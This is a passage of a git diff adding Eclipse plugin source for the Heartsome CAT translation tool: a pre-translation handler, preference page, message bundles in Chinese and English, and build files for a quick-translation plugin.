net.heartsome.cat.ts.pretranslation.PreTransUitls; +import net.heartsome.cat.ts.ui.editors.IXliffEditor; + +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.core.resources.IFile; +import org.eclipse.ui.IEditorReference; +import org.eclipse.ui.IWorkbenchPage; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.handlers.HandlerUtil; +import org.eclipse.ui.part.FileEditorInput; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * @author jason + * @version + * @since JDK1.6 + */ +public class PreTranslationHandler extends AbstractSelectProjectFilesHandler { + public static final Logger logger = LoggerFactory.getLogger(PreTranslationHandler.class); + private static final String XLIFF_EDITOR_ID = "net.heartsome.cat.ts.ui.xliffeditor.nattable.editor"; + @Override + public String[] getLegalFileExtensions() { + return CommonFunction.xlfExtesionArray; + } + + @Override + public Object execute(ExecutionEvent event, List list) { + String tshelp = System.getProperties().getProperty("TSHelp"); + String tsstate = System.getProperties().getProperty("TSState"); + if (tshelp == null || !"true".equals(tshelp) || tsstate == null || !"true".equals(tsstate)) { + LoggerFactory.getLogger(PreTranslationHandler.class).error("Exception:key hs008 is lost.(Can't find the key)"); + System.exit(0); + } + SystemResourceUtil.load(); + + + // 首先验è¯æ˜¯å¦æ˜¯åˆå¹¶æ‰“开的文件 --robert 2012-10-17 + if (isEditor) { + try { + IWorkbenchWindow window = HandlerUtil.getActiveWorkbenchWindowChecked(event); + IEditorReference[] editorRefe = window.getActivePage().findEditors(new FileEditorInput(list.get(0)), + XLIFF_EDITOR_ID, IWorkbenchPage.MATCH_INPUT | IWorkbenchPage.MATCH_ID); + if (editorRefe.length <= 0) { + return null; + } + + IXliffEditor xlfEditor = (IXliffEditor) editorRefe[0].getEditor(true); + // 针对åˆå¹¶æ‰“å¼€ + if (xlfEditor.isMultiFile()) { + list = ResourceUtils.filesToIFiles(xlfEditor.getMultiFileList()); + } + } catch (ExecutionException e) { + logger.error("", e); + } + + } + + CommonFunction.removeRepeateSelect(list); + PreTransUitls.executeTranslation(list, shell); + return null; + } +} diff --git a/ts/net.heartsome.cat.ts.pretranslation/src/net/heartsome/cat/ts/pretranslation/preference/PreTransPreferenceInitializer.java b/ts/net.heartsome.cat.ts.pretranslation/src/net/heartsome/cat/ts/pretranslation/preference/PreTransPreferenceInitializer.java new file mode 100644 index 0000000..ba52595 --- /dev/null +++ b/ts/net.heartsome.cat.ts.pretranslation/src/net/heartsome/cat/ts/pretranslation/preference/PreTransPreferenceInitializer.java @@ -0,0 +1,37 @@ +/** + * PreTransPreferenceInitializer.java + * + * Version information : + * + * Date:2012-5-8 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.pretranslation.preference; + +import net.heartsome.cat.ts.pretranslation.Activator; +import net.heartsome.cat.ts.pretranslation.bean.IPreTransConstants; + +import org.eclipse.core.runtime.preferences.AbstractPreferenceInitializer; +import org.eclipse.jface.preference.IPreferenceStore; + +/** + * @author jason + * @version + * @since JDK1.6 + */ +public class PreTransPreferenceInitializer extends AbstractPreferenceInitializer { + + @Override + public void initializeDefaultPreferences() { + IPreferenceStore store = Activator.getDefault().getPreferenceStore(); + // 预翻译设置默认值 + store.setDefault(IPreTransConstants.LOCK_FULL_MATCH, false); + store.setDefault(IPreTransConstants.LOCK_CONTEXT_MATCH, false); + store.setDefault(IPreTransConstants.UPDATE_STRATEGY, IPreTransConstants.UPDATE_KEEP_NOW); + } + +} diff --git a/ts/net.heartsome.cat.ts.pretranslation/src/net/heartsome/cat/ts/pretranslation/preference/PreTranslationPreferencePage.java b/ts/net.heartsome.cat.ts.pretranslation/src/net/heartsome/cat/ts/pretranslation/preference/PreTranslationPreferencePage.java new file mode 100644 index 0000000..d1bfb53 --- /dev/null +++ b/ts/net.heartsome.cat.ts.pretranslation/src/net/heartsome/cat/ts/pretranslation/preference/PreTranslationPreferencePage.java @@ -0,0 +1,174 @@ +package net.heartsome.cat.ts.pretranslation.preference; + +import net.heartsome.cat.ts.pretranslation.Activator; +import net.heartsome.cat.ts.pretranslation.bean.IPreTransConstants; +import net.heartsome.cat.ts.pretranslation.resource.Messages; +import net.heartsome.cat.common.ui.HsImageLabel; +import net.heartsome.cat.common.util.CommonFunction; + +import org.eclipse.jface.preference.IPreferenceStore; +import org.eclipse.jface.preference.PreferencePage; +import org.eclipse.swt.SWT; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Group; +import org.eclipse.ui.IWorkbench; +import org.eclipse.ui.IWorkbenchPreferencePage; + +/** + * 预翻译首选项 + * @author peason + * @version + * @since JDK1.6 + */ +public class PreTranslationPreferencePage extends PreferencePage implements IWorkbenchPreferencePage { + + public static final String ID = "net.heartsome.cat.ts.pretranslation.preferencepage"; + + private IPreferenceStore preferenceStore; + + private Button lockedFullMatchBtn; + private Button lockedContextMatchBtn; + + // /** 是å¦è¦†ç›– 100% 匹é…å¤é€‰æ¡† */ + // private Button btnOverwriteMatch100; + + /** æ¨¡ç³ŠåŒ¹é… > ä¿ç•™çŽ°æœ‰åŒ¹é…å•é€‰æŒ‰é’® */ + private Button btnKeepNowMatch; + + /** æ¨¡ç³ŠåŒ¹é… > 覆盖现有匹é…å•é€‰æŒ‰é’® */ + private Button btnOverwriteNowMatch; + + /** æ¨¡ç³ŠåŒ¹é… > 始终覆盖现有匹é…å•é€‰æŒ‰é’® */ + private Button btnAlwaysOverwriteNowMatch; + + /** + * 构造函数 + */ + public PreTranslationPreferencePage() { + setTitle(Messages.getString("preference.PreTranslationPreferencePage.title")); + setPreferenceStore(Activator.getDefault().getPreferenceStore()); + preferenceStore = getPreferenceStore(); + } + + public void init(IWorkbench workbench) { + // TODO Auto-generated method stub + + } + + @Override + protected Control createContents(Composite parent) { + Composite tparent = new Composite(parent, SWT.NONE); + tparent.setLayout(new GridLayout()); + tparent.setLayoutData(new GridData(GridData.FILL_BOTH)); + + Group settingGroup = new Group(tparent, SWT.NONE); + settingGroup.setLayout(new GridLayout()); + settingGroup.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + settingGroup.setText(Messages.getString("preference.PreTranslationPreferencePage.settingGroup")); + HsImageLabel settingImageLabel = new HsImageLabel( + Messages.getString("preference.PreTranslationPreferencePage.settingImageLabel"), + Activator.getImageDescriptor("images/preference/trans_pre_32.png")); + Composite settingComp = settingImageLabel.createControl(settingGroup); + + lockedFullMatchBtn = new Button(settingComp, SWT.CHECK); + lockedFullMatchBtn.setText(Messages.getString("preference.PreTranslationPreferencePage.lockedFullMatchBtn")); + lockedFullMatchBtn.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + + if (CommonFunction.checkEdition("U")) { + lockedContextMatchBtn = new Button(settingComp, SWT.CHECK); + lockedContextMatchBtn.setText(Messages + .getString("preference.PreTranslationPreferencePage.lockedContextMatchBtn")); + lockedContextMatchBtn.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + } + + settingImageLabel.computeSize(); + + Group matchGroup = new Group(tparent, SWT.NONE); + matchGroup.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + matchGroup.setLayout(new GridLayout()); + matchGroup.setText(Messages.getString("preference.PreTranslationPreferencePage.matchGroup")); + + // HsImageLabel imageLabel = new HsImageLabel("", null); + // Composite matchComp = imageLabel.createControl(matchGroup); + + btnKeepNowMatch = new Button(matchGroup, SWT.RADIO); + btnKeepNowMatch.setText(Messages.getString("preference.PreTranslationPreferencePage.btnKeepNowMatch")); + btnKeepNowMatch.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + + btnOverwriteNowMatch = new Button(matchGroup, SWT.RADIO); + btnOverwriteNowMatch + .setText(Messages.getString("preference.PreTranslationPreferencePage.btnOverwriteNowMatch")); + btnOverwriteNowMatch.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + + btnAlwaysOverwriteNowMatch = new Button(matchGroup, SWT.RADIO); + btnAlwaysOverwriteNowMatch.setText(Messages + .getString("preference.PreTranslationPreferencePage.btnAlwaysOverwriteNowMatch")); + btnAlwaysOverwriteNowMatch.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + // imageLabel.computeSize(); + + setValues(false); + return parent; + } + + @Override + protected void performDefaults() { + setValues(true); + } + + @Override + public boolean performOk() { + + preferenceStore.setValue(IPreTransConstants.LOCK_FULL_MATCH, lockedFullMatchBtn.getSelection()); + if (CommonFunction.checkEdition("U")) { + preferenceStore.setValue(IPreTransConstants.LOCK_CONTEXT_MATCH, lockedContextMatchBtn.getSelection()); + } + + int intFuzzyMatch = -1; + if (btnKeepNowMatch.getSelection()) { + intFuzzyMatch = IPreTransConstants.UPDATE_KEEP_NOW; + } else if (btnOverwriteNowMatch.getSelection()) { + intFuzzyMatch = IPreTransConstants.UPDATE_OVERWRITE_BY_QUALITY; + } else if (btnAlwaysOverwriteNowMatch.getSelection()) { + intFuzzyMatch = IPreTransConstants.UPDATE_ALWAYS_OVERWRITE; + } + preferenceStore.setValue(IPreTransConstants.UPDATE_STRATEGY, intFuzzyMatch); + return true; + } + + private void setValues(boolean isApplyDefault) { + int intFuzzyMatch; + if (isApplyDefault) { + if (CommonFunction.checkEdition("U")) { + lockedContextMatchBtn.setSelection(preferenceStore + .getDefaultBoolean(IPreTransConstants.LOCK_CONTEXT_MATCH)); + } + lockedFullMatchBtn.setSelection(preferenceStore.getDefaultBoolean(IPreTransConstants.LOCK_FULL_MATCH)); + + intFuzzyMatch = preferenceStore.getDefaultInt(IPreTransConstants.UPDATE_STRATEGY); + } else { + if (CommonFunction.checkEdition("U")) { + lockedContextMatchBtn.setSelection(preferenceStore.getBoolean(IPreTransConstants.LOCK_CONTEXT_MATCH)); + } + lockedFullMatchBtn.setSelection(preferenceStore.getBoolean(IPreTransConstants.LOCK_FULL_MATCH)); + intFuzzyMatch = preferenceStore.getInt(IPreTransConstants.UPDATE_STRATEGY); + } + + if (intFuzzyMatch == IPreTransConstants.UPDATE_KEEP_NOW) { + btnKeepNowMatch.setSelection(true); + btnOverwriteNowMatch.setSelection(false); + btnAlwaysOverwriteNowMatch.setSelection(false); + } else if (intFuzzyMatch == IPreTransConstants.UPDATE_OVERWRITE_BY_QUALITY) { + btnKeepNowMatch.setSelection(false); + btnOverwriteNowMatch.setSelection(true); + btnAlwaysOverwriteNowMatch.setSelection(false); + } else if (intFuzzyMatch == IPreTransConstants.UPDATE_ALWAYS_OVERWRITE) { + btnKeepNowMatch.setSelection(false); + btnOverwriteNowMatch.setSelection(false); + btnAlwaysOverwriteNowMatch.setSelection(true); + } + } +} diff --git a/ts/net.heartsome.cat.ts.pretranslation/src/net/heartsome/cat/ts/pretranslation/resource/Messages.java b/ts/net.heartsome.cat.ts.pretranslation/src/net/heartsome/cat/ts/pretranslation/resource/Messages.java new file mode 100644 index 0000000..5a732cf --- /dev/null +++ b/ts/net.heartsome.cat.ts.pretranslation/src/net/heartsome/cat/ts/pretranslation/resource/Messages.java @@ -0,0 +1,25 @@ +package net.heartsome.cat.ts.pretranslation.resource; + +import java.util.MissingResourceException; +import java.util.ResourceBundle; + +/** + * 国际化工具类 + * @author peason + * @version + * @since JDK1.6 + */ +public class Messages { + + private static final String BUNDLE_NAME = "net.heartsome.cat.ts.pretranslation.resource.message"; + + private static ResourceBundle BUNDLE = ResourceBundle.getBundle(BUNDLE_NAME); + + public static String getString(String key) { + try { + return BUNDLE.getString(key); + } catch (MissingResourceException e) { + return key; + } + } +} diff --git a/ts/net.heartsome.cat.ts.pretranslation/src/net/heartsome/cat/ts/pretranslation/resource/message.properties b/ts/net.heartsome.cat.ts.pretranslation/src/net/heartsome/cat/ts/pretranslation/resource/message.properties new file mode 100644 index 0000000..ac18920 --- /dev/null +++ b/ts/net.heartsome.cat.ts.pretranslation/src/net/heartsome/cat/ts/pretranslation/resource/message.properties @@ -0,0 +1,40 @@ +pretranslation.PreTranslation.task1 = \u6b63\u5728\u5904\u7406\u6587\u4ef6\uff0c\u8bf7\u7a0d\u5019... +pretranslation.PreTranslation.task2 = \u6b63\u5728\u5904\u7406\u7ffb\u8bd1\u5355\u5143... +pretranslation.PreTransUitls.msgTitle = \u63d0\u793a +pretranslation.PreTransUitls.msg1 = XLIFF \u76ee\u5f55\u4e2d\u6ca1\u6709\u53ef\u4f9b\u9884\u7ffb\u8bd1\u7684 XLIFF \u6587\u4ef6\uff0c\u6216\u5747\u4e3a\u4e0d\u652f\u6301\u7684\u6587\u4ef6\u683c\u5f0f\u3002\n\u8bf7\u5148\u5c06\u6e90\u6587\u4ef6\u8f6c\u6362\u4e3a XLIFF\u3001\u6216\u5bfc\u5165 XLIFF \u6587\u4ef6\uff0c\u5e76\u786e\u8ba4\u5b83\u4eec\u7684\u540e\u7f00\u540d\u5747\u4e3a *.hsxliff\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +pretranslation.PreTransUitls.msg2 = \u65e0\u6cd5\u8fdb\u884c\u9884\u7ffb\u8bd1\uff1a\u6253\u5f00\u6587\u4ef6\u65f6\u51fa\u9519\uff0c\u8bf7\u91cd\u8bd5\u3002 +pretranslation.PreTransUitls.msg3 = \u65e0\u6cd5\u8fdb\u884c\u9884\u7ffb\u8bd1\uff1a\u672a\u83b7\u53d6\u5230\u9879\u76ee\u4fe1\u606f\uff0c\u8bf7\u91cd\u8bd5\u3002 +pretranslation.PreTransUitls.msg4 = \u65e0\u6cd5\u8fdb\u884c\u9884\u7ffb\u8bd1\uff1a\u6587\u4ef6\u4fe1\u606f\u4e22\u5931\uff0c\u8bf7\u91cd\u8bd5\u3002 +pretranslation.PreTransUitls.logger1 = [LOG] \u6267\u884c\u9884\u7ffb\u8bd1\u65f6\u51fa\u9519 + +dialog.PreTranslationDialog.title = \u9884\u7ffb\u8bd1 +dialog.PreTranslationDialog.perferenceButton = \u9009\u9879(&O)... +#dialog.PreTranslationDialog.lblxliff = \u9884\u7ffb\u8bd1 +dialog.PreTranslationDialog.clmnTitles1 = \u5e8f\u53f7 +dialog.PreTranslationDialog.clmnTitles2 = \u6587\u4ef6 +dialog.PreTranslationDialog.clmnTitles3 = \u6e90\u8bed\u8a00 +dialog.PreTranslationDialog.clmnTitles4 = \u76ee\u6807\u8bed\u8a00 +dialog.PreTranslationDialog.logoTitle = \u9884\u7ffb\u8bd1\u5982\u4e0b XLIFF \u6587\u4ef6 +dialog.PreTranslationResultDialog.title = \u9884\u7ffb\u8bd1\u7ed3\u679c +dialog.PreTranslationResultDialog.clmnTitles1 = \u5e8f\u53f7 +dialog.PreTranslationResultDialog.clmnTitles2 = \u6587\u4ef6 +dialog.PreTranslationResultDialog.clmnTitles3 = \u53ef\u89c1\u6587\u672c\u6bb5\u603b\u6570 +dialog.PreTranslationResultDialog.clmnTitles4 = \u5df2\u7ffb\u8bd1\u6587\u672c\u6bb5 +dialog.PreTranslationResultDialog.clmnTitles5 = \u5df2\u9501\u5b9a\u4e0a\u4e0b\u6587\u5339\u914d +dialog.PreTranslationResultDialog.clmnTitles6 = \u5df2\u9501\u5b9a\u5b8c\u5168\u5339\u914d +dialog.PromptDialog.label = \u8bf7\u8bbe\u7f6e\u9ed8\u8ba4\u7684\u673a\u5668\u7ffb\u8bd1\uff0c\u8bd1\u6587\u5c06\u88ab\u586b\u5145\u5230\u8bd1\u6587\uff1a +dialog.PromptDialog.msgTitle = \u63d0\u793a +dialog.PromptDialog.msg = \u8bf7\u8bbe\u7f6e\u9ed8\u8ba4\u7684\u673a\u5668\u7ffb\u8bd1\u3002 + +preference.PreTranslationPreferencePage.title = \u9884\u7ffb\u8bd1 +preference.PreTranslationPreferencePage.settingGroup = \u9644\u52a0\u64cd\u4f5c +preference.PreTranslationPreferencePage.settingImageLabel = \u9884\u7ffb\u8bd1\u65f6\u9501\u5b9a\u5982\u4e0b\u6587\u672c\u6bb5\uff1a +preference.PreTranslationPreferencePage.lockedFullMatchBtn = \u5b8c\u5168\u5339\u914d +preference.PreTranslationPreferencePage.lockedContextMatchBtn = \u4e0a\u4e0b\u6587\u5339\u914d +preference.PreTranslationPreferencePage.matchGroup = \u5bf9\u73b0\u6709\u8bd1\u6587\u7684\u5904\u7406\u7b56\u7565 +preference.PreTranslationPreferencePage.btnKeepNowMatch = \u4fdd\u7559\u73b0\u6709\u8bd1\u6587 +preference.PreTranslationPreferencePage.btnOverwriteNowMatch = \u4ec5\u5339\u914d\u7387\u9ad8\u4e8e\u73b0\u6709\u8bd1\u6587\u65f6\u8986\u76d6 +preference.PreTranslationPreferencePage.btnAlwaysOverwriteNowMatch = \u59cb\u7ec8\u8986\u76d6\u73b0\u6709\u8bd1\u6587 + +############################## 2012-10-16 \u6dfb\u52a0 ######################################### +dialog.PreTranslationDialog.desc = \u5bf9\u9009\u4e2d\u7684 XLIFF \u6587\u4ef6\u8fdb\u884c\u9884\u7ffb\u8bd1\u3002 \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.pretranslation/src/net/heartsome/cat/ts/pretranslation/resource/message_en.properties b/ts/net.heartsome.cat.ts.pretranslation/src/net/heartsome/cat/ts/pretranslation/resource/message_en.properties new file mode 100644 index 0000000..21062dd --- /dev/null +++ b/ts/net.heartsome.cat.ts.pretranslation/src/net/heartsome/cat/ts/pretranslation/resource/message_en.properties @@ -0,0 +1,40 @@ +pretranslation.PreTranslation.task1 = Processing files, please wait... +pretranslation.PreTranslation.task2 = Processing translation units... +pretranslation.PreTransUitls.msgTitle = Message +pretranslation.PreTransUitls.msg1 = There are no files in the XLIFF folder available for pre-translation, or the file format of these files is not supported.\nPlease convert source files to XLIFF format, or import XLIFF files. Please make sure that the file extension is *.hsxliff and try again. +pretranslation.PreTransUitls.msg2 = Unable to pre-translate the file: An error occured when opening the file. Please try again. +pretranslation.PreTransUitls.msg3 = Unable to pre-translate the file: Unable to find project information. Please try again. +pretranslation.PreTransUitls.msg4 = Unable to pre-translate the file: File information has been lost. Please try again. +pretranslation.PreTransUitls.logger1 = [LOG] \u6267\u884c\u9884\u7ffb\u8bd1\u65f6\u51fa\u9519 + +dialog.PreTranslationDialog.title = Pre-translate +dialog.PreTranslationDialog.perferenceButton = &Options... +#dialog.PreTranslationDialog.lblxliff = \u9884\u7ffb\u8bd1 +dialog.PreTranslationDialog.clmnTitles1 = No. +dialog.PreTranslationDialog.clmnTitles2 = File +dialog.PreTranslationDialog.clmnTitles3 = Source Language +dialog.PreTranslationDialog.clmnTitles4 = Target Language +dialog.PreTranslationDialog.logoTitle = Pre-translate the following XLIFF files: +dialog.PreTranslationResultDialog.title = Pre-translation Results +dialog.PreTranslationResultDialog.clmnTitles1 = No. +dialog.PreTranslationResultDialog.clmnTitles2 = File +dialog.PreTranslationResultDialog.clmnTitles3 = Segments Filtered +dialog.PreTranslationResultDialog.clmnTitles4 = Translated +dialog.PreTranslationResultDialog.clmnTitles5 = Locked Context Match +dialog.PreTranslationResultDialog.clmnTitles6 = Locked Exact Match +dialog.PromptDialog.label = Please set a default machine translation engine to have the target segments automatically populated with translations. +dialog.PromptDialog.msgTitle = Message +dialog.PromptDialog.msg = Please set a default machine translation engine. + +preference.PreTranslationPreferencePage.title = Pre-translate +preference.PreTranslationPreferencePage.settingGroup = Additional Options +preference.PreTranslationPreferencePage.settingImageLabel = When pre-translating, lock the following segments: +preference.PreTranslationPreferencePage.lockedFullMatchBtn = Exact match +preference.PreTranslationPreferencePage.lockedContextMatchBtn = Context match +preference.PreTranslationPreferencePage.matchGroup = Action to take with existing translations +preference.PreTranslationPreferencePage.btnKeepNowMatch = Keep existing translations +preference.PreTranslationPreferencePage.btnOverwriteNowMatch = Overwrite if translations found with higher match value +preference.PreTranslationPreferencePage.btnAlwaysOverwriteNowMatch = Always overwrite existing translations + +############################## 2012-10-16 \u6dfb\u52a0 ######################################### +dialog.PreTranslationDialog.desc = Pre-translate selected XLIFF files. diff --git a/ts/net.heartsome.cat.ts.pretranslation/src/net/heartsome/cat/ts/pretranslation/resource/message_zh.properties b/ts/net.heartsome.cat.ts.pretranslation/src/net/heartsome/cat/ts/pretranslation/resource/message_zh.properties new file mode 100644 index 0000000..ac18920 --- /dev/null +++ b/ts/net.heartsome.cat.ts.pretranslation/src/net/heartsome/cat/ts/pretranslation/resource/message_zh.properties @@ -0,0 +1,40 @@ +pretranslation.PreTranslation.task1 = \u6b63\u5728\u5904\u7406\u6587\u4ef6\uff0c\u8bf7\u7a0d\u5019... +pretranslation.PreTranslation.task2 = \u6b63\u5728\u5904\u7406\u7ffb\u8bd1\u5355\u5143... +pretranslation.PreTransUitls.msgTitle = \u63d0\u793a +pretranslation.PreTransUitls.msg1 = XLIFF \u76ee\u5f55\u4e2d\u6ca1\u6709\u53ef\u4f9b\u9884\u7ffb\u8bd1\u7684 XLIFF \u6587\u4ef6\uff0c\u6216\u5747\u4e3a\u4e0d\u652f\u6301\u7684\u6587\u4ef6\u683c\u5f0f\u3002\n\u8bf7\u5148\u5c06\u6e90\u6587\u4ef6\u8f6c\u6362\u4e3a XLIFF\u3001\u6216\u5bfc\u5165 XLIFF \u6587\u4ef6\uff0c\u5e76\u786e\u8ba4\u5b83\u4eec\u7684\u540e\u7f00\u540d\u5747\u4e3a *.hsxliff\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +pretranslation.PreTransUitls.msg2 = \u65e0\u6cd5\u8fdb\u884c\u9884\u7ffb\u8bd1\uff1a\u6253\u5f00\u6587\u4ef6\u65f6\u51fa\u9519\uff0c\u8bf7\u91cd\u8bd5\u3002 +pretranslation.PreTransUitls.msg3 = \u65e0\u6cd5\u8fdb\u884c\u9884\u7ffb\u8bd1\uff1a\u672a\u83b7\u53d6\u5230\u9879\u76ee\u4fe1\u606f\uff0c\u8bf7\u91cd\u8bd5\u3002 +pretranslation.PreTransUitls.msg4 = \u65e0\u6cd5\u8fdb\u884c\u9884\u7ffb\u8bd1\uff1a\u6587\u4ef6\u4fe1\u606f\u4e22\u5931\uff0c\u8bf7\u91cd\u8bd5\u3002 +pretranslation.PreTransUitls.logger1 = [LOG] \u6267\u884c\u9884\u7ffb\u8bd1\u65f6\u51fa\u9519 + +dialog.PreTranslationDialog.title = \u9884\u7ffb\u8bd1 +dialog.PreTranslationDialog.perferenceButton = \u9009\u9879(&O)... +#dialog.PreTranslationDialog.lblxliff = \u9884\u7ffb\u8bd1 +dialog.PreTranslationDialog.clmnTitles1 = \u5e8f\u53f7 +dialog.PreTranslationDialog.clmnTitles2 = \u6587\u4ef6 +dialog.PreTranslationDialog.clmnTitles3 = \u6e90\u8bed\u8a00 +dialog.PreTranslationDialog.clmnTitles4 = \u76ee\u6807\u8bed\u8a00 +dialog.PreTranslationDialog.logoTitle = \u9884\u7ffb\u8bd1\u5982\u4e0b XLIFF \u6587\u4ef6 +dialog.PreTranslationResultDialog.title = \u9884\u7ffb\u8bd1\u7ed3\u679c +dialog.PreTranslationResultDialog.clmnTitles1 = \u5e8f\u53f7 +dialog.PreTranslationResultDialog.clmnTitles2 = \u6587\u4ef6 +dialog.PreTranslationResultDialog.clmnTitles3 = \u53ef\u89c1\u6587\u672c\u6bb5\u603b\u6570 +dialog.PreTranslationResultDialog.clmnTitles4 = \u5df2\u7ffb\u8bd1\u6587\u672c\u6bb5 +dialog.PreTranslationResultDialog.clmnTitles5 = \u5df2\u9501\u5b9a\u4e0a\u4e0b\u6587\u5339\u914d +dialog.PreTranslationResultDialog.clmnTitles6 = \u5df2\u9501\u5b9a\u5b8c\u5168\u5339\u914d +dialog.PromptDialog.label = \u8bf7\u8bbe\u7f6e\u9ed8\u8ba4\u7684\u673a\u5668\u7ffb\u8bd1\uff0c\u8bd1\u6587\u5c06\u88ab\u586b\u5145\u5230\u8bd1\u6587\uff1a +dialog.PromptDialog.msgTitle = \u63d0\u793a +dialog.PromptDialog.msg = \u8bf7\u8bbe\u7f6e\u9ed8\u8ba4\u7684\u673a\u5668\u7ffb\u8bd1\u3002 + +preference.PreTranslationPreferencePage.title = \u9884\u7ffb\u8bd1 +preference.PreTranslationPreferencePage.settingGroup = \u9644\u52a0\u64cd\u4f5c +preference.PreTranslationPreferencePage.settingImageLabel = \u9884\u7ffb\u8bd1\u65f6\u9501\u5b9a\u5982\u4e0b\u6587\u672c\u6bb5\uff1a +preference.PreTranslationPreferencePage.lockedFullMatchBtn = \u5b8c\u5168\u5339\u914d +preference.PreTranslationPreferencePage.lockedContextMatchBtn = \u4e0a\u4e0b\u6587\u5339\u914d +preference.PreTranslationPreferencePage.matchGroup = \u5bf9\u73b0\u6709\u8bd1\u6587\u7684\u5904\u7406\u7b56\u7565 +preference.PreTranslationPreferencePage.btnKeepNowMatch = \u4fdd\u7559\u73b0\u6709\u8bd1\u6587 +preference.PreTranslationPreferencePage.btnOverwriteNowMatch = \u4ec5\u5339\u914d\u7387\u9ad8\u4e8e\u73b0\u6709\u8bd1\u6587\u65f6\u8986\u76d6 +preference.PreTranslationPreferencePage.btnAlwaysOverwriteNowMatch = \u59cb\u7ec8\u8986\u76d6\u73b0\u6709\u8bd1\u6587 + +############################## 2012-10-16 \u6dfb\u52a0 ######################################### +dialog.PreTranslationDialog.desc = \u5bf9\u9009\u4e2d\u7684 XLIFF \u6587\u4ef6\u8fdb\u884c\u9884\u7ffb\u8bd1\u3002 \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.quicktranslation/.classpath b/ts/net.heartsome.cat.ts.quicktranslation/.classpath new file mode 100644 index 0000000..64c5e31 --- /dev/null +++ b/ts/net.heartsome.cat.ts.quicktranslation/.classpath @@ -0,0 +1,7 @@ + + + + + + + diff --git a/ts/net.heartsome.cat.ts.quicktranslation/.project b/ts/net.heartsome.cat.ts.quicktranslation/.project new file mode 100644 index 0000000..b6654b7 --- /dev/null +++ b/ts/net.heartsome.cat.ts.quicktranslation/.project @@ -0,0 +1,28 @@ + + + net.heartsome.cat.ts.quicktranslation + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/ts/net.heartsome.cat.ts.quicktranslation/.settings/org.eclipse.jdt.core.prefs b/ts/net.heartsome.cat.ts.quicktranslation/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..af0f20f --- /dev/null +++ b/ts/net.heartsome.cat.ts.quicktranslation/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,7 @@ +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/ts/net.heartsome.cat.ts.quicktranslation/META-INF/MANIFEST.MF b/ts/net.heartsome.cat.ts.quicktranslation/META-INF/MANIFEST.MF new file mode 100644 index 0000000..693e23b --- /dev/null +++ b/ts/net.heartsome.cat.ts.quicktranslation/META-INF/MANIFEST.MF @@ -0,0 +1,20 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Heartsome CAT TS Quick Translation +Bundle-SymbolicName: net.heartsome.cat.ts.quicktranslation;singleton:=true +Bundle-Version: 8.0.1.R8b_v20130108 +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Require-Bundle: net.heartsome.cat.common.core;bundle-version="1.0.0", + net.heartsome.cat.ts.core;bundle-version="1.0.0", + net.heartsome.cat.ts.tb;bundle-version="1.0.0", + org.eclipse.core.runtime;bundle-version="3.7.0", + net.heartsome.cat.ts.tm;bundle-version="1.0.0", + org.eclipse.core.resources;bundle-version="3.7.100", + org.eclipse.ui;bundle-version="3.7.0", + org.eclipse.ui.ide;bundle-version="3.7.0", + net.heartsome.cat.ts.ui.translation;bundle-version="1.0.0", + net.heartsome.cat.thirdpartlibrary;bundle-version="8.0.0" +Import-Package: net.heartsome.cat.ts.ui.bean, + net.heartsome.cat.ts.ui.editors +Bundle-Localization: plugin +Bundle-Vendor: Heartsome Technologies Ltd. diff --git a/ts/net.heartsome.cat.ts.quicktranslation/build.properties b/ts/net.heartsome.cat.ts.quicktranslation/build.properties new file mode 100644 index 0000000..fc90fcb --- /dev/null +++ b/ts/net.heartsome.cat.ts.quicktranslation/build.properties @@ -0,0 +1,9 @@ +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + .,\ + plugin.xml,\ + plugin_en.properties,\ + plugin_zh.properties,\ + plugin.properties,\ + images/ diff --git a/ts/net.heartsome.cat.ts.quicktranslation/images/quick_trans.png 